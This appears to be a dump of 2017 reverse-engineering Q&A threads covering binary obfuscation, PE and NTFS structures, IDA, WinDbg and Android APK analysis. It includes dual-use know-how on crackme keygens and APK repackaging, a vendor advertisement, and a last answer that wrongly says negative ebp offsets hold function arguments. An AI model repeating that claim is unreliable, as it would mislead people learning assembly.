    begin/end of block, may be possible a function or unlink switch table

    \n" }, { "Id": "15770", "CreationDate": "2017-07-06T07:21:32.643", "Body": "

    I was trying to reverse engineer an android ndk (arm) using ida pro on a static analysis. However, it appears there are a lot of useless jumps to the same place and with random values set to R1 to compare and jump again. Like the following picture. Nearly every function is doing something similar -- Initialization first (stuffs like push registers), then it jumps to code somewhere (like the right up corner of the picture), load random values to R1 register and compare it with R0 and do the jumps, but it will always jump back to the up corner again

    \n\n

    \"Code

    \n\n

    Here is another case, it seems loc_FFBA and it's following branches serve as a big switch, but what doesn't make sense is nearly every branch will eventually jump back to loc_FFBA again. There can be a flow red->green->blue->red, but it doesn't even make sense... You can see the jump in blue is even useless because if it takes jump to blue (R0>0x6fe5e521), it will definitely take the jump to the red (R0>0x661cf941)...

    \n\n

    \"enter

    \n\n

    My question is, is this done intentionally by the author to prevent the reverse engineering? If so how is it achieved? For me, it sounds like the author will need a lot of if-else and goto clause in his C++ code, but that will also slow down the development because he may confuse himself... And it doesn't seem the .so ndk is packed, since by using a debugger, I found generally what it actually does is just to decode a resource file to an apk and load it dynamically, but all the decryption is done by calling JNI functions to do an AES decryption to load the APK, rather than do it in C++, so the messed up jumps seems not to be something related to the decryption either...

    \n\n

    Maybe there's some kind of compiler that will generate the junks if this is really an intentional obfuscation?

    \n", "Title": "Is there a name for this kind of \"obfuscation\" for the machine code from C++?", "Tags": "|ida|c++|android|obfuscation|", "Answer": "

    There are several method of obfuscation, including:

    \n\n

    Each of these methods has its own advantages and disadvantages:\nFor example

    \n\n

    Here I want to stop on code level obfuscation and transformation.

    \n

    Yes, when it comes to code level obfuscation and transformation, parsing and handling the code of all C/C++ languages (including ISO versions such as C17+) is a complex task.

    \n

    Processing transformation passes at the source code level can also be challenging.\nHowever, if done correctly, code level obfuscation can provide many benefits. For example, mixing dummy generated code with the original code can protect against automatic deobfuscation.

    \n

    Adding powerful opaque predicates with complex precalculation can also protect against auto tracing and code simplify tools. Protecting strings, values, and expressions at the source level is also valuable. Additionally, the control flow of the code can be shuffled without changing the logic through techniques such as while/goto jumps or conditional if blocks.\nBut we should remember about code optimization by complier phase and prepare code obfuscation passes with mind of how to avoid optimization of protected code.

    \n

    So, code level obfuscation and transformation can be a powerful tool for protecting code against reverse engineering and tampering attacks. However, it is important to carefully consider the pros and cons of each method and to design the obfuscation passes with an understanding of how they will be affected by compiler optimization. By doing so, it is possible to effectively protect code and safeguard intellectual property.

    \n

    At RandomBlocks Lab, we use code level obfuscation in our CodeMorpher C/C++ Code Obfuscator to protect our customers' code. We leverage the power of the Clang parser and our own techniques and transformation passes to ensure the highest level of protection. Our team of experts has extensive experience in code obfuscation and is committed to helping our customers safeguard their intellectual property. If you are looking to protect your C/C++ code, we encourage you to give our CodeMorpher Obfuscator a try.\nWe believe it is the most effective solution available for code level obfuscation.

    \n" }, { "Id": "15774", "CreationDate": "2017-07-06T20:26:49.850", "Body": "

    I'd like to get started with reverse engineering.

    \n

    Several years ago I saw many programs called crackmes, to crack.

    \n

    When I searched for some this week, I found none.

    \n

    My question is, can somebody recommend some websites (like crackme walkthroughs) or learning resources to get started with reverse engineering?

    \n", "Title": "Crack Me Material", "Tags": "|crackme|", "Answer": "

    Although this is an old posting, I would like to add a long-standing still active site with great challenges (sometimes pretty pretty hard, in the higher levels):\nhttps://overthewire.org/wargames/

    \n" }, { "Id": "15777", "CreationDate": "2017-07-06T22:04:04.227", "Body": "

    I've been able to locate the .text section of the module, knowing the base address of that section and its size how would I be able to find the other segments of the DLL, like .rdata, .data, .bss, etc.

    \n", "Title": "Finding other segments of a manually mapped DLL having found the .text segment", "Tags": "|dll|", "Answer": "

    You'll make 2 assumptions:

    \n\n
      \n
    1. all virtual memory allocations are done with 4k (0x1000) incremental
      2. \n
    2. .text section will (in most cases) be places after the PE header
      3. \n
    \n\n

    So, your goal would be to find the DLL's PE header and parse it to find all the parameters of the other sections, assuming they are present. Using above assumptions, you would:

    \n\n
      \n
    1. Decrement your known base address by 0x1000
      2. \n
    2. Check that this new address is valid (i.e VirtualQuery)
      3. \n
    3. Check for presence of MZ signature starting the address from (1)\n\n
        \n
      1. If found, parse the header and you can calculate the offsets based on the header data - you already know where .text located, extrapolate for other sections the same way.
        2. \n
      4. \n
    4. Repeat for reasonable amount of times till you find the header.
      5. \n
    \n" }, { "Id": "15781", "CreationDate": "2017-07-07T06:59:45.710", "Body": "

    When it comes to reversing apk files, I understand that are mainly 2 approaches. The first involves using a decompilation engine which will try to produce java files which are more readable but can be unreliable when the apk uses obsfucation. The 2nd method i know of involves converting the dex files into smali code which are more reliable but slightly harder to understand. When it comes to detecting malware by looking for method calls, which approach is more suitable? (I am not interested in re-packaging the code into a working apk.)

    \n", "Title": "Smali vs Decompilation for malware detection in apk files", "Tags": "|decompilation|android|java|apk|api|", "Answer": "

    If you want to understand the overall structure, like to locate the suspicious method, I would recommend decompile to java to check first, since java is in a much higher level and can be indexed easily to see the code structure.. For smali, it's more suitable for repackaging since it's just a kind of assembly for dex binary, but its level is low and needs some learning if you're not very familiar with it

    \n" }, { "Id": "15789", "CreationDate": "2017-07-08T00:21:39.510", "Body": "

    so i'm reversing a file format of game. As far as i can understand the file i'm trying to reverse contains compressed textures. I'm already able to locate the textures and decompress them, but i'm not entirely sure if it's compression or some weird encoding.

    \n\n

    During the process there's a huge buffer that's accessed a lot of times, giving the information of the current pixel being drawn. The buffer contains 4 byte unsigned integers and is generated through the following function:

    \n\n
    for(uint32_t counter = 0; counter<0x400; counter++){\n\n    //unk1 eax\n    //unk2 edx\n    //unk3 esi\n    //unk4 ecx\n    //loc_5115EB\n    uint32_t unk1 = (counter >> 1) & 0x55555555;\n    uint32_t unk3 = (unk1 * 2) ^ counter;\n    uint32_t unk4 = ((unk3 >> 2) & 0x33333333) ^ ((counter >> 1) & 0x11111111);\n\n    unk1 ^= unk4;\n    unk3 ^= (unk4 << 2);\n\n    unk4 = ((unk3 >> 4) & 0x0F0F0F0F) ^ (unk1 & 0x0F0F0F0F);\n    unk1 ^= unk4;\n    unk3 ^= (unk4 << 4);\n\n    unk4 = ((unk3 >> 8) & 0x00FF00FF) ^ (unk1 & 0x00FF00FF);\n\n    buffer[counter] = (((unk4 & 0xFF) << 8) ^ (unk3 & 0xFFFF)) | ((unk4 ^ unk1) << 16); \n\n}\n
    \n\n

    The resulting sequence in hex is:

    \n\n

    00 00 00 00 01 00 00 00 04 00 00 00 05 00 00 00 10 00 00 00 11 00 00 00 14 00 00 00 15 00 00 00 40 00 00 00 41 00 00 00 44 00 00 00 45 00 00 00 50 00 00 00 51 00 00 00 54 00 00 00 55 00 00 00 00 01 00 00 01 01 00 00 04 01 00 00 05 01 00 00 10 01 00 00 11 01 00 00 14 01 00 00 15 01 00 00 40 01 00 00 41 01 00 00 44 01 00 00 45 01 00 00 50 01 00 00 51 01 00 00 54 01 00 00 55 01 00 00 00 04 00 00 01 04 00 00 04 04 00 00 05 04 00 00 10 04 00 00 11 04 00 00 14 04 00 00 15 04 00 00

    \n\n

    or in decimal 0, 1, 4, 5, 16, 17, 20, 21, 64, 65...

    \n\n

    I tried to search it online but couldn't find any info regarding the sequence.\nBut i found 0x55555555 and the others numbers are \"magic\" numbers, having a wide use.

    \n", "Title": "What does this sequence of numbers mean?", "Tags": "|static-analysis|encryption|hex|", "Answer": "

    Asked this to a person who has more knowledge than me and he was able to answer!

    \n

    This is the Moser-de Bruijn sequence and looks like it's used for binary interleaving which is really important in this case, since i'm working with image compression.

    \n

    By the way I have to apologize since i should've posted a more significant decimal representation of the sequence, which is now added to the main post.

    \n" }, { "Id": "15800", "CreationDate": "2017-07-10T18:37:14.383", "Body": "

    I see these in VC++ compiled programs often. However, I've searched for several of them, such as AVCCHKBOX@@ and AVCDLC_NAME@@ to no avail. What are these called?\n\"enter

    \n", "Title": "What is the general term used for these pictured symbols?", "Tags": "|msvc|", "Answer": "

    These strings are part of the Run-Time Type Information (RTTI) produced by Visual C++ for polymorphic classes. This old article of mine describes some of it: http://www.openrce.org/articles/full_view/23

    \n" }, { "Id": "15803", "CreationDate": "2017-07-11T01:02:57.563", "Body": "

    During my current project I found such code:

    \n\n
    move.w  (0xFFFC0C).l, d0 | read SCSR\nandi.w  #0x100, d0       | add 256 to d0\nbeq.s   location         | branch if LSB = 0x00\n
    \n\n

    I cannot get the idea of this fragment. I guess author tried to check the status of the UART, but how does andi.w and beq.s serves the purpose, when SCSR may contain maximum of 9 bits?

    \n\n

    \"enter

    \n", "Title": "68k: Adding 0x100 to 9-bit register and doing BEQ.s - how does it make sense?", "Tags": "|disassembly|assembly|motorola|", "Answer": "

    It's not adding. It is binary and operation, and in translation to C the code looks as follows:

    \n\n
    d0 = readSCSR(); // move.w  (0xFFFC0C).l, d0 | read SCSR\nif (d0 & 0x100) \n//andi.w  #0x100, d0       | not add, but AND 256 to d0\n//beq.s   location         | branch if LSB = 0x00\n{\n    // do whatever needed\n}\nlocation: // else branch to location\n
    \n" }, { "Id": "15807", "CreationDate": "2017-07-12T05:00:00.843", "Body": "

    How can I find out what code is being called when you right click on a process in Windows Task Manager, and click on \"Bring To Front\" ?

    \n\n

    This is related to https://stackoverflow.com/questions/45046765/bring-window-to-foreground-when-mainwindowhandle-is-0.

    \n\n

    The SetForegroundWindow method only works if the MainWindowHandle is not 0.\nBut the \"Bring To Front\" button in Windows Task Manager works even if the MainWindowHandle is 0.

    \n", "Title": "Find the code used when you right click and select \"Bring To Front\" in Task Manager", "Tags": "|windows|winapi|", "Answer": "

    Here's the answer:\nhttp://reinventingthewheel.azurewebsites.net/MainWindowHandleIsALie.aspx

    \n\n

    I had to use EnumWindows to get the correct handle.

    \n\n
    $TypeDef2 = @\"\n\n    using System;\n    using System.Text;\n    using System.Collections.Generic;\n    using System.Runtime.InteropServices;\n\n    namespace Api\n    {\n\n    public class WinStruct\n    {\n       public string WinTitle {get; set; }\n       public int MainWindowHandle { get; set; }\n    }\n\n    public class ApiDef\n    {\n       private delegate bool CallBackPtr(int hwnd, int lParam);\n       private static CallBackPtr callBackPtr = Callback;\n       private static List<WinStruct> _WinStructList = new List<WinStruct>();\n\n       [DllImport(\"User32.dll\")]\n       [return: MarshalAs(UnmanagedType.Bool)]\n       private static extern bool EnumWindows(CallBackPtr lpEnumFunc, IntPtr lParam);\n\n       [DllImport(\"user32.dll\", CharSet = CharSet.Auto, SetLastError = true)]\n       static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);\n\n       private static bool Callback(int hWnd, int lparam)\n       {\n           StringBuilder sb = new StringBuilder(256);\n           int res = GetWindowText((IntPtr)hWnd, sb, 256);\n          _WinStructList.Add(new WinStruct { MainWindowHandle = hWnd, WinTitle = sb.ToString() });\n           return true;\n       }  \n\n       public static List<WinStruct> GetWindows()\n       {\n          _WinStructList = new List<WinStruct>();\n          EnumWindows(callBackPtr, IntPtr.Zero);\n          return _WinStructList;\n       }\n\n    }\n    }\n    \"@\n\n    Add-Type -TypeDefinition $TypeDef2 -Language CSharpVersion3\n\n    $excelInstance = [Api.Apidef]::GetWindows() | Where-Object { $_.WinTitle.ToUpper() -eq \"Microsoft Excel - Compatibility Checker\".ToUpper() }\n\n$TypeDef1 = @\"\n      using System;\n      using System.Runtime.InteropServices;\n      public class Tricks {\n         [DllImport(\"user32.dll\")]\n         [return: MarshalAs(UnmanagedType.Bool)]\n         public static extern bool SetForegroundWindow(IntPtr hWnd);\n      }\n    \"@\n\n    Add-Type -TypeDefinition $TypeDef1 -Language CSharpVersion3\n\n    [void][Tricks]::SetForegroundWindow($excelInstance.MainWindowHandle)\n
    \n" }, { "Id": "15809", "CreationDate": "2017-07-12T13:47:02.740", "Body": "

    There are hundreds unicode strings in rdata's binary, but IDA doesn't define them properly, so I have to specify each Unicode string offset manually (Alt+A -> Unicode). After doing so, string is rendered properly.

    \n\n

    I'm wondering, whether there are some scripts here, since I've googled too much, and changed any possible settings and defaults to Unicode, but still no results.

    \n", "Title": "Auto recognition of Unicode Strings", "Tags": "|ida|", "Answer": "

    I've found solution\nhttp://www.openrce.org/forums/posts/771

    \n\n

    There is only 1 \"but\" - it works with undefined strings only. That's why changing settings didn't help me in existing project - unicode strings were defined somehow as a data.

    \n\n

    So I've opened binary from scratch, with \"Create offset if data xref to seg32 exists\" disabled, and IDA recognized all unicode strings.

    \n\n

    I dumped all UNICODE strings addresses (begin-end) from newly recognized project, using IDAPython magics. And then used them in existing project: take an address range, undefine it, define as data (with UNICODE), define a string.

    \n\n

    Worked like a charm.

    \n" }, { "Id": "15810", "CreationDate": "2017-07-12T15:03:18.040", "Body": "

    I am working on a reverse engineering task, in which I need to recover function prototype (including number of parameters, type of each parameter) from the input binary (ELF binary on 64-bit Linux).

    \n\n

    While IDA-Pro can be guided to recover function prototype for functions defined inside the binary code, I am trapped in recovering library functions invoked inside the binary code.

    \n\n

    For example:

    \n\n
    mov str_pointer, %rdi\ncall puts  <---- Library function \n
    \n\n

    So here is my question:

    \n\n
      \n
    1. can I use IDA-Pro to somehow recover the library function's prototype?
      2. \n
    2. If not\uff0cit seems to me that I can benefit from some database on this info? Could anyone shed some lights on this?
      3. \n
    \n\n

    Thanks

    \n", "Title": "Recover Library Function ProtoType from IDA-Pro", "Tags": "|ida|ida-plugin|", "Answer": "

    Go to the function that you want to get the prototype for and press \"Y\". If you have the decompiler, just decompile it and check if the prototype it guessed is right. Often you will need to fix things manually. However, I can assure these ways work because I actually use them almost daily.

    \n" }, { "Id": "15816", "CreationDate": "2017-07-13T16:07:22.563", "Body": "

    I have an executable of a mac or ios app. This app uses a value stored for a key in NSUserDefaults to change app's flow.

    \n\n

    It looks something like below code,

    \n\n
    If( value set in user details )\n        show something \nelse\n        hide something \n
    \n\n

    My question is how can I change the value stored for a key in NSUserDefaults using hopper disassembler ?

    \n", "Title": "Changing NSUserDefaults of a mac or iOS binary executable", "Tags": "|disassembly|ios|osx|hopper|", "Answer": "

    The values are stored in a plist file under ~/Library/Preferences (or ~/Library/Containers/.../ if sandboxed). You can find more information about it from Apple's documentation.

    \n\n

    The easiest way to modify a value is to use the defaults program under terminal.

    \n\n

    defaults write <bundle identifier> <key> <value>

    \n" }, { "Id": "15820", "CreationDate": "2017-07-14T01:50:23.147", "Body": "

    In Recon 2011: Practical C++ Decompilation there is this example where some fields are assigned before the derived class' virtual table pointer is:

    \n\n
    public: __thiscall CMachine::CMachine(void) proc near\n mov edi, edi\n push esi\n mov esi, ecx\n call CDataStoreObject::CDataStoreObject(void)\n and dword ptr [esi+24h], 0\n or dword ptr [esi+28h], 0FFFFFFFFh\n and dword ptr [esi+2Ch], 0\n or dword ptr [esi+30h], 0FFFFFFFFh\n mov dword ptr [esi], offset const CMachine::`vftable'\n mov eax, esi\n pop esi\n retn\npublic: __thiscall CMachine::CMachine(void) endp\n
    \n\n

    Igor mentions that the assigning of those fields are not written by the programmer because they come before the virtual table pointer. Would someone mind explaining what these fields are and possibly what the values could represent?

    \n", "Title": "What are these extra members in this derived constructor?", "Tags": "|vtables|", "Answer": "

    the c++ code is like:

    \n\n
    CMachine *__thiscall CMachine::CMachine(CMachine\n*this)\n{\nCDataStoreObject::CDataStoreObject(&this->_);\nthis->dword24 = 0;\nthis->dword28 = -1;\nthis->dword2C = 0;\nthis->dword30 = -1;\nthis->_._vtable = (CMachine_vtable\n*)&CMachine::_vftable_;\nreturn this;\n}\n
    \n\n

    the class CMachine has a member or a super class CDataStoreObject.\nthe assigning of those fields should/could be the members of class CDataStoreObject. or for alignment.

    \n\n

    compiler optimization in details might looks odd seeing from machine code.\nit depends on the optimization level and compiler type/version.

    \n" }, { "Id": "15823", "CreationDate": "2017-07-14T09:28:17.100", "Body": "

    I have a stubborn PE file which I cannot get to load. The PE headers seem to be intact and the file even parses fine in several PE tools. I am receiving a \"Invalid Win32 Application\" error when I try to fire it up. In fact, the loader never even starts up because there are no loader flags to be displayed for the process in WinDbg. Something is going wrong between the handoff from Explorer.exe and the load inside the Kernel. ProcMon shows a \"FILE LOCKED WITH ONLY READERS\" status when Explorer.exe tries to CreateFileMapping the file.

    \n\n

    So thus I've entered Kernel Mode debugging on WinDbg. However, I'm not sure how to configure the debugger to properly troubleshoot this problem. When I press \"g\" and then open the file, it just crashes as normal and I have no log in WinDbg. If I press \"Break\" then I'm paused. I need to somehow break as soon as I double-click the file and then sep through the kernel code.

    \n", "Title": "How can WinDbg be used to troubleshoot program loading?", "Tags": "|windows|pe|windbg|kernel-mode|", "Answer": "

    I would suggest you to put a breakpoint on NtCreateSection function which is responsible on validating and mapping the PE image when called with SEC_IMAGE flag. Hopefully you can track down where it fails by stepping through it.

    \n" }, { "Id": "15860", "CreationDate": "2017-07-19T10:47:09.080", "Body": "

    While parsing my NTFS formatted hard disk, I found some invalid entries of INDX while Windows is still able to list all the root directory contents!

    \n\n

    The structure of the Index Record in NTFS 3.1 is clear (NTFS doc):

    \n\n
    Offset      Description\n-------------------------------------\n0x00        MFT Reference of the file\n0x08        Size of the index entry\n0x0A        Offset to the filename\n...\n0x52        Filename\n...\n
    \n\n

    However, I found some entries where their size is faulty as well as their MFT Reference (which is a bunch of zeros)!

    \n\n

    I enclose a screenshot that shows a part of INDX along side with their text representations where each line is of width 0x20. I highlighted the faulty part.

    \n\n

    \"The

    \n\n

    The figure shows that entries were parsed rationally until the last correct entry at 0x0628:

    \n\n\n\n

    Thereafter, things got weird! Entries at 0x0698:

    \n\n\n\n

    For me, it seems that \"Buziol Games\" was a deleted folder on the root directory of the harddisk, I am not sure. Anyway, Windows explorer is not facing troubles on listing the contents.

    \n\n

    Do anybody understand how does it work? How do Windows continue parsing?

    \n\n

    EDIT: In addition, please find the hex dump as a pure text on pastebin

    \n", "Title": "Invalid INDX entries for $I30 on NTFS harddisk", "Tags": "|windows|hex|", "Answer": "

    The INDEX_RECORD_ENTRY should be preceded by INDEX_HEADER with the magic signature INDX

    \n\n

    without the header deciphering the INDEX_RECORD_ENTRIES is difficult as shown in your screen shot

    \n\n

    the following observations are based on the pastebin dump you edited in later

    \n\n

    i converted the hex to binary with a bat file thus

    \n\n
    rem make a copy \ncopy %1 %2\nrem compare both\nfc %1 %2\nrem dump the first line for visualizing\nhead -1 %2\nrem strip the address,colon and space \nrem this is to make it compatible with xxd input\nsed s/.*:\\x20//g %2 > %3\nrem dump the ripped hex file first line \nhead -1 %3\nrem convert hex to binary \nxxd -r -p %3 > %4\nrem check the size and compare with word count\nrem both should be same \nls -l %4\nwc -w %3\n
    \n\n

    executing the bat file on the downloaded pastebin dump

    \n\n
    C:\\indx>converthextobin.bat indx_$i30_dump.txt indxhex.txt indxstripped.txt indxbin.bin\n\nC:\\indx>rem make a copy\nC:\\indx>copy indx_$i30_dump.txt indxhex.txt\n        1 file(s) copied.\n\nC:\\indx>rem compare both\nC:\\indx>fc indx_$i30_dump.txt indxhex.txt\nComparing files indx_$i30_dump.txt and INDXHEX.TXT\nFC: no differences encountered\n\nC:\\indx>rem dump the first line for visualizing\nC:\\indx>head -1 indxhex.txt\n0000: 49 4E 44 58 28 00 09 00 D2 92 87 08 00 00 00 00\n\nC:\\indx>rem strip the address,colon and space\nC:\\indx>rem this is to make it compatible with xxd input\nC:\\indx>sed s/.*:\\x20//g indxhex.txt  1>indxstripped.txt\n\nC:\\indx>rem dump the ripped hex file first line\nC:\\indx>head -1 indxstripped.txt\n49 4E 44 58 28 00 09 00 D2 92 87 08 00 00 00 00\n\nC:\\indx>rem convert hex to binary\nC:\\indx>xxd -r -p indxstripped.txt  1>indxbin.bin\n\nC:\\indx>rem check the size and compare with word count\nC:\\indx>rem both should be same\nC:\\indx>ls -l indxbin.bin\n-rw-rw-rw-  1 HP 0 6656 2017-07-22 15:20 indxbin.bin\nC:\\indx>wc -w indxstripped.txt\n6656 indxstripped.txt\n
    \n\n

    now that we have a binary form we can start exploring

    \n\n

    lets dump the INDEX_HEADER and verify

    \n\n
    @echo off\nxxd -s00 -g4 -l4 indxbin.bin &^\nxxd -s04 -g2 -l2 indxbin.bin &^\nxxd -s06 -g2 -l2 indxbin.bin &^\nxxd -s08 -g8 -l8 indxbin.bin &^\nxxd -s16 -g8 -l8 indxbin.bin &^\nxxd -s24 -g4 -l4 indxbin.bin &^\nxxd -s28 -g4 -l4 indxbin.bin &^\nxxd -s32 -g4 -l4 indxbin.bin &^\nxxd -s36 -g1 -l1 indxbin.bin &^\nxxd -s37 -g3 -l3 indxbin.bin &^\nxxd -s40 -g2 -l2 indxbin.bin\n
    \n\n

    executed we get the INDEX_HEADER

    \n\n
    C:\\indx>dumpindxheader.bat\n0000000: 494e4458                             INDX\n0000004: 2800                                     (.\n0000006: 0900                                     ..\n0000000: 494e445828000900                   INDX(...\n0000010: 0000000000000000                   ........\n0000018: 40000000                             @...\n000001c: 90060000                             ....\n0000020: e80f0000                             ....\n0000024: 00\n0000025: 000000                                 ...\n0000028: 1e02                                     ..\n
    \n\n

    we can see the INDEX_RECORD_ENTRY relative to HEADER_OFFSET is 0x40 (i haven't tried to control the Endiannes in xxd output)

    \n\n

    so the INDEX_RECORD_ENTRY (terminology may be incorrect ) starts at 0x40+0x18 = 0x58
    \nit is a variable sized structure padded appropriately to boundaries

    \n\n

    dumping the record entry

    \n\n
    @echo off\nxxd -s88 -g8 -l8 indxbin.bin &^\nxxd -s96 -g2 -l2 indxbin.bin &^\nxxd -s98 -g2 -l2 indxbin.bin &^\nxxd -s100 -g2 -l2 indxbin.bin &^\nxxd -s102 -g2 -l2 indxbin.bin &^\nxxd -c8 -s104 -g8 -l64 indxbin.bin &^\nxxd -s168 -g1 -l1 indxbin.bin &^\nxxd -s169 -g1 -l1 indxbin.bin &^\nxxd -s170 -g1 -l22 indxbin.bin\n
    \n\n

    executing the bat file

    \n\n
    C:\\indx>dumpindxrecordentry.bat\n0000058: 0400000000000400                   ........\n0000060: 6800                                     h.\n0000062: 5200                                     R.\n0000064: 0000                                     ..\n0000066: 0000                                     ..\n0000068: 0500000000000500  ........\n0000070: d07fa49ac58cd201  ........\n0000078: d07fa49ac58cd201  ........\n0000080: d07fa49ac58cd201  ........\n0000088: d07fa49ac58cd201  ........\n0000090: 0090000000000000  ........\n0000098: a08c000000000000  ........\n00000a0: 0600000000000000  ........\n00000a8: 08                                               .\n00000a9: 03                                               .\n00000aa: 24 00 41 00 74 00 74 00 72 00 44 00 65 00 66 00  $.A.t.t.r.D.e.f.\n00000ba: 00 00 00 00 00 00                                ......\n
    \n\n

    the size 68 is relative to self so the next entry would be at \n0x58+0x68 == 0xc0

    \n\n

    the offset to file name is relative to self so file name would be at \n0x58+0x52 = 0xaa as dumped

    \n\n

    so you can now go ahead by dumping the next entry by providing the appropriate seek address to xxd viz 0xc0 or 0n192

    \n\n

    the last entry is at 0x628 whose size is 0x70 so it ends at 0x698

    \n\n

    the very last entry is 0x10 bytes long with an mft reference 0

    \n\n
    \n

    quoted from the pdf linked in your original post
    \n last entry has a size of 0x10 (just large enough for the flags (and a\n mft ref of zero)

    \n
    \n\n
    Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F\n\n00000690                          00 00 00 00 00 00 00 00          ........\n000006A0  10 00 00 00 02 00 00 00                          ........\n
    \n" }, { "Id": "15863", "CreationDate": "2017-07-19T19:06:15.130", "Body": "

    OK, so I know this is path is not recommended but it is a situation I have been forced into. I have a tool not created by me which takes the exported asm file from IDA and processes the exported assembly from IDA. However, it seems as though the assembly that IDA exports has changed since the tool was created. When I export an assembly listing from one of my IDA databases using the \"Produce file -> Create ASM file\" option, the resulting assembly listing does not include addresses for every instruction but the tool I am using has hardcoded the assembly listing format that it receives from IDA and throws exceptions because addresses are not at the start of every instruction.

    \n\n

    Is there a way to turn this feature on? What controls the format of the assembly listing that IDA exports?

    \n", "Title": "Changing the format of IDA's Produce file -> Create ASM file", "Tags": "|ida|disassembly|file-format|", "Answer": "

    To get addresses in the output, you should use LST option instead of ASM. .asm files are intended to be input for an assembler (in theory, in practice it rarely works) which will assign addresses to labels as necessary, so there is no need to print addresses in the ASM file.

    \n" }, { "Id": "15873", "CreationDate": "2017-07-21T07:11:03.847", "Body": "

    I'm trying to write a keygen to a crack me that I'm learning from and I got stuck. What happens there is pretty simple:

    \n\n

    Let's say that I entered the password: \"12121212\"

    \n\n
    XOR DWORD PTR DS:[ECX+EAX],1234567\nAND BYTE PTR DS:[ECX+EAX],0E\nADD ECX,4\nCMP ECX,8\n
    \n\n

    As we can see, the first DWORD of the password (0x32313231, notice that x86 processors use little-endian layout) is being XORed with 0x1234567 so 0x32313231 ^ 0x1234567 results with 0x56771233.\nThen there is an AND operation on the first byte (0x56) of the manipulated password and 0xe which results with 0x6. After that, the program repeats the operations, this time on the second DWORD of the password.

    \n\n

    My question is: I know I can reverse XOR but is it possible with AND operation?

    \n", "Title": "Inverse And operation", "Tags": "|disassembly|assembly|c|patch-reversing|xor|", "Answer": "

    While there's no way to know with 100% certainty what was the original value before the AND operation, you can find some possible values producing the same result, and sometimes that's enough.

    \n\n

    Basically, for x & N = z, you can start from z and set any bits to 1 where you have are 0 in N. z itself will always work too.

    \n\n

    For example, if we know that x & 0xE == 6, then at any of the following values of x will work: 6,7, 0x16, 0x17, 0x26, 0x27 and so on.

    \n" }, { "Id": "15883", "CreationDate": "2017-07-21T17:18:45.210", "Body": "

    i was trying to search for some information about packers just to learn more about it, there is a lot of stuff out there but its hard to find something that really explain that good and clear,\nI would love if someone here could share some good materials about that topic.

    \n\n

    Thanks.

    \n", "Title": "Information about packers", "Tags": "|disassembly|assembly|malware|winapi|packers|", "Answer": "

    First, this article from Trustwave does an excellent job covering the topic thoroughly from a beginner's perspective (note: there are formatting errors throughout the article where it mashes two words together every two lines or so, but that aside, the content is good):

    \n\n

    https://www.trustwave.com/Resources/SpiderLabs-Blog/Basic-Packers--Easy-As-Pie/

    \n\n

    Next, combined with the aforementioned article, the Wikipedia page on the topic will help you flesh out the correct terminology to use for your future searches--things like \"executable packing,\" \"executable compression,\" etc.:

    \n\n

    https://en.wikipedia.org/wiki/Executable_compression

    \n\n

    Those two resources should give you all you need to start building a solid understanding of the topic.

    \n" }, { "Id": "15895", "CreationDate": "2017-07-23T03:31:03.920", "Body": "

    I am looking for a free & open source alternative to IDA Pro runs on MacOS - the suggestions should have as close to the features of IDA as possible. I should also be able to edit an executable that I am debugging (i.e. change/remove things).

    \n", "Title": "What is a free & open source alternative to IDA Pro for MacOS?", "Tags": "|ida|mach-o|macos|", "Answer": "

    As of 2020, Ghidra should be considered as a major contender. It is challenging IDA Pro in many areas. The integrated decompiler is one of its greatest assets.

    \n

    The support for debugging was added recently on the official repository. It will be added to the next official build. Ref

    \n

    \"Main

    \n" }, { "Id": "15899", "CreationDate": "2017-07-23T20:19:58.953", "Body": "

    While reversing a binary, whatever symbols we name inside IDA IDB database, is it possible to load the same in GDB while debugging? e.g. I tried wsym which attempts to inject those as symbols. However, the project seems to be in too beta to work properly. I want to use pwndbg for debugging, so using IDA's integrated remote debugging support is not really an option.

    \n", "Title": "Loading user specified IDA symbols in GDB", "Tags": "|ida|gdb|", "Answer": "

    One of this year's Recon talks was on a project which exports data from IDA as DWARF debug info. In theory that can be used in gdb to provide symbols.

    \n\n\n\n

    P.S. according to pwndbg documentation, it already has some kind of \"IDA integraton\", so I'd suggest you to try that and contact the project if you can't get it working.

    \n" }, { "Id": "15904", "CreationDate": "2017-07-24T10:11:36.610", "Body": "

    As part of a bug bounty program, I am trying to reverse engineer the bumble android mobile application via dynamic analysis. I find that if I use apktool to disassemble the apk and reassemble it again without even changing anything, the app will cease to function. It is able to start up but it complains that there is a problem with the internet connection. What are some ways apks use to prevent debugging and are there any known ways to overcome them?

    \n\n

    Update: Actually when i mentioned debugging i meant smali debugging where the apk is disassembled to smali code, android:debuggable=\"true\" is added to the manifest and the apk is recompiled to become debuggable. An IDE is then used to attach the debugger to the already running app process, where debugging is done via the disassembled smali code. Details: http://d-kovalenko.blogspot.sg/2012/08/debugging-smali-code-with-apk-tool-and.html

    \n", "Title": "Can apk files have protection against being debugged?", "Tags": "|disassembly|debugging|android|apk|", "Answer": "

    After many hours of reverse-engineering, I finally discovered that the app was actually throwing a FacebookAuthorizationException, where the stored key hash in the apk does not match with the one in the developer's portal.(due to re-compilation). I suppose there is no way to surpass this since the access token is needed to log in with facebook. I believe I can therefore safely say that apks that only allow log in with facebook would be almost impossible to modify (and still work) since the access token would not be returned by facebook which is needed for authorization. (Unless the reverser is able to log in to the developer's portal to add the new key hash but that is a different matter)

    \n" }, { "Id": "15906", "CreationDate": "2017-07-24T12:20:04.130", "Body": "
    sub_123434 proc near \nmov esi, [ebp-1Ch] \nsub_123434 endp\n
    \n\n

    What means proc near? Can someone possibly explain also the whole\nfunction?

    \n", "Title": "my question is what means proc near?", "Tags": "|ida|disassembly|debugging|", "Answer": "

    Insofar as proc and endp, start here. A good explanation for nearcan be found from this document, which states as follows:

    \n\n
    \n

    Attribute is NEAR if the Procedure is in the same code segment as the\n calling program; or FAR if in a different code segment.

    \n
    \n\n

    The meat of the code is this:

    \n\n
    mov esi,[ebp-1Ch]\n
    \n\n

    This bit of code is moving a value from the stack into the esi register. Depending on the compiler used and context, you might stand to glean additional information from register conventions where a value being moved into the esi register is concerned. More specifically, consider the accepted answer from this post.

    \n\n

    Also, ebp- (as opposed to ebp+) is a typical sign of arguments that have been passed to a function--of which those values reside on the stack within memory addresses that can be referenced as long as that particular stack frame exists.

    \n\n

